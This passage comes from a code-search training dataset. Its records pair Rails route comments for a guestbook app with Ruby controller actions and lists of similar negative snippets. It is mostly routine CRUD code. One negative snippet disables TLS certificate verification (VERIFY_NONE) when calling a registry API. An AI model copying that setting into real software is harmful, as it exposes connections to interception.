dir)\n\t\t\t\n\t\t\t[\n\t\t\t\tparsed_base,\n\t\t\t\tparsed_left,\n\t\t\t\tparsed_right,\n\t\t\t\toutput,\n\t\t\t].each do |temp_file|\n\t\t\t\ttemp_file.close\n\t\t\tend\n\t\t\t\n\t\t\ttext_to_intolmerge(base_expanded_path, parsed_base.path)\n\t\t\ttext_to_intolmerge(left_expanded_path, parsed_left.path)\n\t\t\ttext_to_intolmerge(right_expanded_path, parsed_right.path)\n\t\t\t\n\t\t\tOpen3.popen3('diff3', '-m', '--', parsed_left.path, parsed_base.path, parsed_right.path) do |stdin, stdout, stderr, thread|\n\t\t\t\tparsed_output.write(stdout.read)\n\t\t\tend\n\t\t\tparsed_output.close\n\t\t\t\n\t\t\tintolmerge_to_text(parsed_output.path, output.path)\n\t\t\t\n\t\t\tFile.readlines(output.path).each do |line|\n\t\t\t\tSTDOUT.puts line\n\t\t\tend\n\t\tensure\n\t\t\t[\n\t\t\t\tparsed_base,\n\t\t\t\tparsed_left,\n\t\t\t\tparsed_right,\n\t\t\t\tparsed_output,\n\t\t\t\toutput,\n\t\t\t].each do |temp_file|\n\t\t\t\ttemp_file.unlink\n\t\t\tend\n\t\tend\n\tend\nend", "def merge_reference_trees(roots); end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
GET /guest_books GET /guest_books.xml
def index @guest_books = GuestBook.find(:all, :order=>'created_at desc') respond_to do |format| format.html # index.html.erb format.xml { render :xml => @guest_books } end end
[ "def show\n @guest_book = GuestBook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @guest_book }\n end\n end", "def index\n @books = Book.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @books }\n end\n end", "def index\n @books = Book.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @books }\n end\n end", "def index\r\n @books = Book.find(:all)\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @books }\r\n end\r\n end", "def show\n @book = Book.get!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @book }\n end\n end", "def new\n @guest_book = GuestBook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @guest_book }\n end\n end", "def show\n @bookshelf = Bookshelf.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bookshelf }\n end\n end", "def index\n @free_books = FreeBook.all(:order => \"title\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @free_books }\n end\n end", "def new\n @guestbook = Guestbook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @guestbook }\n end\n end", "def show\n @user_book = UserBook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_book }\n end\n end", "def show\n @borrowed_book = BorrowedBook.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @borrowed_book }\n end\n end", "def index\n @book_in_needs = BookInNeed.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @book_in_needs }\n end\n end", "def index\n @user_address_books = UserAddressBook.find(:all,\n :conditions => ['user_id = ?', session[:user_id]])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_address_books }\n end\n end", "def getbook\n \n end", "def show\n @shelf = Shelf.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @shelf.to_xml(:include => :books) }\n end\n end", "def index\n @gbookings = Gbooking.order(\"updated_at DESC\").page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @gbookings }\n end\n end", "def book\n fetch('harry_potter.books')\n end", "def index\n @books = get_books()\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "def show\n @librarybook = Librarybook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @librarybook }\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
GET /guest_books/1 GET /guest_books/1.xml
def show @guest_book = GuestBook.find(params[:id]) respond_to do |format| format.html # show.html.erb format.xml { render :xml => @guest_book } end end
[ "def index\n @guest_books = GuestBook.find(:all, :order=>'created_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @guest_books }\n end\n end", "def show\n @book = Book.get!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @book }\n end\n end", "def index\n @books = Book.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @books }\n end\n end", "def index\n @books = Book.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @books }\n end\n end", "def show\n @bookshelf = Bookshelf.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bookshelf }\n end\n end", "def index\r\n @books = Book.find(:all)\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @books }\r\n end\r\n end", "def new\n @guest_book = GuestBook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @guest_book }\n end\n end", "def show\n @shelf = Shelf.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @shelf.to_xml(:include => :books) }\n end\n end", "def show\n @user_book = UserBook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_book }\n end\n end", "def show\n @borrowed_book = BorrowedBook.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @borrowed_book }\n end\n end", "def new\n @guestbook = Guestbook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @guestbook }\n end\n end", "def show\n @booker = Booker.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @booker }\n end\n end", "def show\n @admin_book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @admin_book }\n end\n end", "def show\n @book2 = Book2.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @book2 }\n end\n end", "def show\n @librarybook = Librarybook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @librarybook }\n end\n end", "def new\n @bookshelf = Bookshelf.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bookshelf }\n end\n end", "def index\n @free_books = FreeBook.all(:order => \"title\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @free_books }\n end\n end", "def index\n @book_in_needs = BookInNeed.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @book_in_needs }\n end\n end", "def getbook\n \n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
GET /guest_books/new GET /guest_books/new.xml
def new @guest_book = GuestBook.new respond_to do |format| format.html # new.html.erb format.xml { render :xml => @guest_book } end end
[ "def new\n @guestbook = Guestbook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @guestbook }\n end\n end", "def new\n @book = Book.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book }\n end\n end", "def new\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book }\n end\n end", "def new\n @bookshelf = Bookshelf.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bookshelf }\n end\n end", "def new\n @addbook = Addbook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @addbook }\n end\n end", "def new\n @borrowed_book = BorrowedBook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @borrowed_book }\n end\n end", "def new\n @book_list = BookList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book_list }\n end\n end", "def new\n @admin_book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @admin_book }\n end\n end", "def new\n @librarybook = Librarybook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @librarybook }\n end\n end", "def new\n @booker = Booker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @booker }\n end\n end", "def new\n @user_book = UserBook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user_book }\n end\n end", "def new\n @book_type = BookType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book_type }\n end\n end", "def new\n @book2 = Book2.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book2 }\n end\n end", "def new\n @title = \"New Book\"\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @book }\n end\n end", "def new\n @house_book = HouseBook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @house_book }\n end\n end", "def new\n @books_category = BooksCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @books_category }\n end\n end", "def new\n @book = Book.find(params[:book_id])\n @reading = Reading.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @reading }\n end\n end", "def new\n @book_in_need = BookInNeed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book_in_need }\n end\n end", "def new\n @free_book = FreeBook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @free_book }\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
POST /guest_books POST /guest_books.xml
def create @guest_book = GuestBook.new(params[:guest_book]) respond_to do |format| if @guest_book.save flash[:notice] = 'Thank you for signing the guestbook' # format.html { redirect_to(@guest_book) } format.html { render :action => "created" } format.xml { render :xml => @guest_book, :status => :created, :location => @guest_book } else flash[:notice] = @guest_book.errors[:name] || @guest_book.errors[:comment] flash[:notice] = @guest_book.errors[:name] + '<br/>'+ @guest_book.errors[:comment] if @guest_book.errors[:name] && @guest_book.errors[:comment] format.html { render :action => "new" } format.xml { render :xml => @guest_book.errors, :status => :unprocessable_entity } end end end
[ "def create\n @guest_book = GuestBook.new(name: guest_book_params[:name], comment: guest_book_params[:comment])\n\n respond_to do |format|\n if @guest_book.save\n format.html { redirect_to @guest_book, notice: t(\"guest_books.create.notice\") }\n format.json { render json: @guest_book, status: :created, location: @guest_book }\n else\n format.html { render action: \"new\" }\n format.json { render json: @guest_book.errors, status: :unprocessable_entity }\n format.xml { render xml: @guest_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @guest_book = GuestBook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @guest_book }\n end\n end", "def new\n @guestbook = Guestbook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @guestbook }\n end\n end", "def create\n @guestbook = Guestbook.new(guestbook_params)\n\n respond_to do |format|\n if @guestbook.save\n format.html { redirect_back(fallback_location: '/admin/guestbooks') }\n format.json { render :show, status: :created, location: @guestbook }\n else\n format.html { redirect_to action: :admin, error: @guestbook.errors.full_messages.first }\n format.json { render json: @guestbook.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @book = Book.new(params[:book])\n\n respond_to do |format|\n if @book.save \n flash[:notice] = 'Book was successfully created.'\n format.html { redirect_to books_path }\n format.xml { head :created, :location => book_url(@book) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @book.errors.to_xml }\n end\n end\n end", "def create\n @book = Book.new(params[:book])\n\n respond_to do |format|\n if @book.save\n format.html { redirect_to(@book, :notice => 'Book was successfully created.') }\n format.xml { render :xml => @book, :status => :created, :location => @book }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @addbook = Addbook.new(params[:addbook])\n\n respond_to do |format|\n if @addbook.save\n flash[:notice] = 'Addbook was successfully created.'\n format.html { redirect_to(@addbook) }\n format.xml { render :xml => @addbook, :status => :created, :location => @addbook }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @addbook.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @user_book = UserBook.new(params[:user_book])\n\n respond_to do |format|\n if @user_book.save\n format.html { redirect_to(@user_book, :notice => 'User book was successfully created.') }\n format.xml { render :xml => @user_book, :status => :created, :location => @user_book }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_book.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @address_book = AddressBook.new(params[:address_book])\n\n respond_to do |format|\n if @address_book.save\n flash[:notice] = :address_book_created.l\n format.html { redirect_to(address_books_url) }\n format.xml { render :xml => @address_book, :status => :created, :location => @address_book }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @address_book.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @bookshelf = Bookshelf.new(params[:bookshelf])\n\n respond_to do |format|\n if @bookshelf.save\n format.html { redirect_to(@bookshelf, :notice => 'Bookshelf was successfully created.') }\n format.xml { render :xml => @bookshelf, :status => :created, :location => @bookshelf }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bookshelf.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n # ON CHERCHE SUR LE ISBN CORRESPOND\n isbn = book_params[:isbn_13]\n parse_isbn(isbn)\n google_book = GoogleBooks.search(\"isbn:#{isbn}\", {}, request.remote_ip).first\n\n if google_book && !isbn.empty?\n #On cherche si le livre est déja dans la bdd, si il l'est, on le met à jour, si il ne l'ai pas, onle crée\n book = Book.find_by(isbn_13: google_book.isbn_13) || Book.find_by(isbn_10: google_book.isbn_10) || Book.new(isbn_13: google_book.isbn_13, isbn_10: google_book.isbn_10)\n\n fillBook(book, google_book)\n else\n # Si il a entré un faux isbn, je met un espace a autheur pour voir qu'il a entré quelque chose\n if params[:book][:title] && params[:book][:authors]\n if !params[:book][:title].empty? && !params[:book][:authors].empty?\n params[:book][:isbn_13] = ''\n end\n end\n # On crée le book avec le isbn entrée dans le formulaire\n book = Book.new(book_params)\n end\n\n # on enlève le book des parametres\n #params[:advertisement_sale_book].delete(:book)\n # on crée le sale_book avec les parametres du form\n @advertisement_sale_book = Advertisement::SaleBook.new(advertisement_sale_book_params)\n #On ajoute le livre dans la vente\n @advertisement_sale_book.book = book\n @advertisement_sale_book.user = current_user\n #\n respond_to do |format|\n if @advertisement_sale_book.save\n format.html { redirect_to @advertisement_sale_book, notice: t('sale_books.new.forms.succes') }\n format.json { render json: @advertisement_sale_book, status: :created, location: @advertisement_sale_book }\n else\n format.html { render action: \"new\" }\n format.json { render json: @advertisement_sale_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @borrowed_book = BorrowedBook.new(params[:borrowed_book])\n\n respond_to do |format|\n if @borrowed_book.save\n flash[:notice] = 'BorrowedBook was successfully created.'\n format.html { redirect_to(@borrowed_book) }\n format.xml { render :xml => @borrowed_book, :status => :created, :location => @borrowed_book }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @borrowed_book.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @house_book = HouseBook.new(params[:house_book])\n\n respond_to do |format|\n if @house_book.save\n format.html { redirect_to(@house_book, :notice => 'House book was successfully created.') }\n format.xml { render :xml => @house_book, :status => :created, :location => @house_book }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @house_book.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @api_book = Api::Book.new(api_book_params)\n\n if @api_book.save\n render json: @api_book, status: :created, location: @api_book\n else\n render json: @api_book.errors, status: :unprocessable_entity\n end\n end", "def create\n @provided_book = ProvidedBook.new(provided_book_params)\n\n respond_to do |format|\n if @provided_book.save\n format.html { redirect_to @provided_book, notice: 'Provided book was successfully created.' }\n format.json { render :show, status: :created, location: @provided_book }\n else\n format.html { render :new }\n format.json { render json: @provided_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tags_book = TagsBook.new(tags_book_params)\n\n @books = Book.all\n @tags = Tag.all\n\n respond_to do |format|\n if @tags_book.save\n format.html { redirect_to @tags_book, notice: \"Tags book was successfully created.\" }\n format.json { render :show, status: :created, location: @tags_book }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @tags_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @api_book = Api::Book.new(api_book_params)\n respond_to do |format|\n if @api_book.save\n format.html { redirect_to @api_book, notice: 'Book was successfully created.' }\n format.json { render :show, status: :created, location: @api_book }\n else\n format.html { render :new }\n format.json { render json: @api_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if params[:commit] == 'Salva'\n @desidered_book = DesideredBook.new(desidered_book_params)\n\n respond_to do |format|\n if @desidered_book.save\n format.html { redirect_to @desidered_book, notice: 'Desidered book was successfully created.' }\n format.json { render :show, status: :created, location: @desidered_book }\n else\n format.html { render :new }\n format.json { render json: @desidered_book.errors, status: :unprocessable_entity }\n end\n end\n else\n require 'open-uri'\n @data = JSON.parse(URI.parse('https://www.googleapis.com/books/v1/volumes?q=isbn:' + desidered_book_params[:ISBN]).read)\n if @data['totalItems'] > 0\n @b = @data['items'][0]['volumeInfo']\n p = { 'nome' => @b['title'],\n 'autore' => @b['authors'][0],\n 'genere' => desidered_book_params[:genere],\n 'anno' => @b['publishedDate'],\n 'ISBN' => desidered_book_params[:ISBN],\n 'user_id' => desidered_book_params[:user_id]}\n @desidered_book = DesideredBook.new(p)\n respond_to do |format|\n if @desidered_book.save\n format.html { redirect_to @desidered_book, notice: 'Proposed book was successfully created.' }\n format.json { render :show, status: :created, location: @desidered_book }\n else\n format.html { render :new }\n format.json { render json: @desidered_book.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to root_path\n end\n end\n end", "def create\n\n @book = Book.new(params[:book])\n\n respond_to do |format|\n if @book.save\n format.html { redirect_to \"/books\", notice: 'Book was successfully created.' }\n format.json { render json: @book, status: :created, location: @book }\n else\n format.html { render action: \"new\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
PUT /guest_books/1 PUT /guest_books/1.xml
def update @guest_book = GuestBook.find(params[:id]) respond_to do |format| if @guest_book.update_attributes(params[:guest_book]) flash[:notice] = 'GuestBook was successfully updated.' format.html { redirect_to(@guest_book) } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @guest_book.errors, :status => :unprocessable_entity } end end end
[ "def update\n @guestbook = Guestbook.find(params[:id])\n\n respond_to do |format|\n if @guestbook.update_attributes(params[:guestbook])\n flash[:notice] = 'Guestbook was successfully updated.'\n format.html { redirect_to(@guestbook) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @guestbook.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n #expire_page :controller => 'guestbook', :action => 'index'\n @guestbook = Guestbook.find(params[:id])\n\n respond_to do |format|\n if @guestbook.update_attributes(params[:guestbook])\n flash[:notice] = 'Guestbook was successfully updated.'\n format.html { redirect_to admin_guestbooks_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @guestbook.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n \n respond_to do |format|\n if @book.update_attributes_and_index(params[:book])\n flash[:notice] = 'Book was successfully updated.'\n format.html { redirect_to(@book) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @guest_book.update(guest_book_params)\n format.html { redirect_to @guest_book, notice: 'Guest book was successfully updated.' }\n format.json { render :show, status: :ok, location: @guest_book }\n else\n format.html { render :edit }\n format.json { render json: @guest_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n flash[:notice] = 'Book was successfully updated.'\n format.html { redirect_to :back }\n format.xml { head :ok }\n else\n format.html { redirect_to :back }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @guestbook = Guestbook.find(params[:id])\n\n respond_to do |format|\n if @guestbook.update_attributes(params[:guestbook])\n format.html { redirect_to @guestbook, notice: 'Guestbook was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @guestbook.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n \n format.json { render json: @book, status: :created, location: @book }\n else\n \n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @api_book = Api::Book.find(params[:id])\n\n if @api_book.update(api_book_params)\n head :no_content\n else\n render json: @api_book.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @guestbook.update(guestbook_params)\n format.html { redirect_back(fallback_location: '/admin/guestbooks') }\n format.json { render :show, status: :ok, location: @guestbook }\n else\n format.html { redirect_back(fallback_location: '/admin/guestbooks') }\n format.json { render json: @guestbook.errors, status: :unprocessable_entity }\n end\n end\n end", "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post opts.fetch(:path, update_path), opts\n end", "def update\n respond_with Biblebook.update(params[:id], params[:biblebook])\n end", "def update\n @addbook = Addbook.find(params[:id])\n\n respond_to do |format|\n if @addbook.update_attributes(params[:addbook])\n flash[:notice] = 'Addbook was successfully updated.'\n format.html { redirect_to(@addbook) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @addbook.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n book = Book.find(params[:id])\n book.update_attributes(params[:book])\n redirect_to(book)\n end", "def update\n book = @bookalope.http_get(@url)['book']\n @name = book['name']\n @bookflows = Array.new\n book['bookflows'].each do |bookflow|\n @bookflows << Bookflow.new(@bookalope, book, bookflow)\n end\n end", "def update\n params[:book_shelf]['user'] = User.where(:id => params[:book_shelf]['user']).first\n params[:book_shelf]['book'] = Book.where(:id => params[:book_shelf]['book']).first\n @book_shelf = BookShelf.find(params[:id])\n respond_to do |format|\n if @book_shelf.update_attributes(params[:book_shelf])\n format.html { redirect_to @book_shelf, notice: 'Book shelf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book_shelf.errors, status: :unprocessable_entity }\n end\n end\n end", "def put\n request_method('PUT')\n end", "def create_update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.path)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n end", "def update\n respond_to do |format|\n if @tags_book.update(tags_book_params)\n format.html { redirect_to @tags_book, notice: \"Tags book was successfully updated.\" }\n format.json { render :show, status: :ok, location: @tags_book }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @tags_book.errors, status: :unprocessable_entity }\n end\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
DELETE /guest_books/1 DELETE /guest_books/1.xml
def destroy @guest_book = GuestBook.find(params[:id]) @guest_book.destroy respond_to do |format| format.html { redirect_to(guest_books_url) } format.xml { head :ok } end end
[ "def destroy\n @guestbook = Guestbook.find(params[:id])\n @guestbook.destroy\n\n respond_to do |format|\n format.html { redirect_to(guestbooks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n #expire_page :controller => 'guestbook', :action => 'index'\n @guestbook = Guestbook.find(params[:id])\n @guestbook.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_guestbooks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @bookshelf = Bookshelf.find(params[:id])\n @bookshelf.destroy\n\n respond_to do |format|\n format.html { redirect_to(bookshelves_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n \n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n Book.update(params[:id], { :deleted => true} )\n\n respond_to do |format|\n format.html { redirect_to(books_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @book = UhaBook.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to(uha_books_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @addbook = Addbook.find(params[:id])\n @addbook.destroy\n\n respond_to do |format|\n format.html { redirect_to(addbooks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @mybook = Admin::Mybook.find(params[:id])\n @mybook.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_mybooks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @my_book = MyBook.find(params[:id])\n @my_book.destroy\n\n respond_to do |format|\n format.html { redirect_to(my_books_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @free_book = FreeBook.find(params[:id])\n File.delete(\"#{RAILS_ROOT}/public/fbooks_pics/#{@free_book.picture}\")\n File.delete(\"#{RAILS_ROOT}/public/fbooks_st/#{@free_book.book_url}\")\n @free_book.destroy\n\n respond_to do |format|\n format.html { redirect_to(free_books_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @guestbook = Guestbook.find(params[:id])\n @guestbook.destroy\n\n respond_to do |format|\n format.html { redirect_to guestbooks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_book.destroy\n\n head :no_content\n end", "def destroy\n @addressbook = Addressbook.find(params[:id])\n @addressbook.destroy\n\n respond_to do |format|\n format.html { redirect_to(addressbooks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @user_book = UserBook.find(params[:id])\n @user_book.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_books_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @book.book_identifier.delete rescue nil\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @book2 = Book2.find(params[:id])\n @book2.destroy\n\n respond_to do |format|\n format.html { redirect_to(book2s_url) }\n format.xml { head :ok }\n end\n end", "def del\n @office1 = Office1.find(params[:id])\n @office1.destroy\n\n respond_to do |format|\n format.html { redirect_to(office1s_url) }\n format.xml { head :ok }\n end\n end", "def remove\n @remove_book = params[:remove_book] \n delete_book = Book.find_by_id(@remove_book)\n delete_book.destroy\n # Delete the actual book here as well -- not now enabled for testing\n File.delete(delete_book.download_path)\n redirect_to :action => \"list\"\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }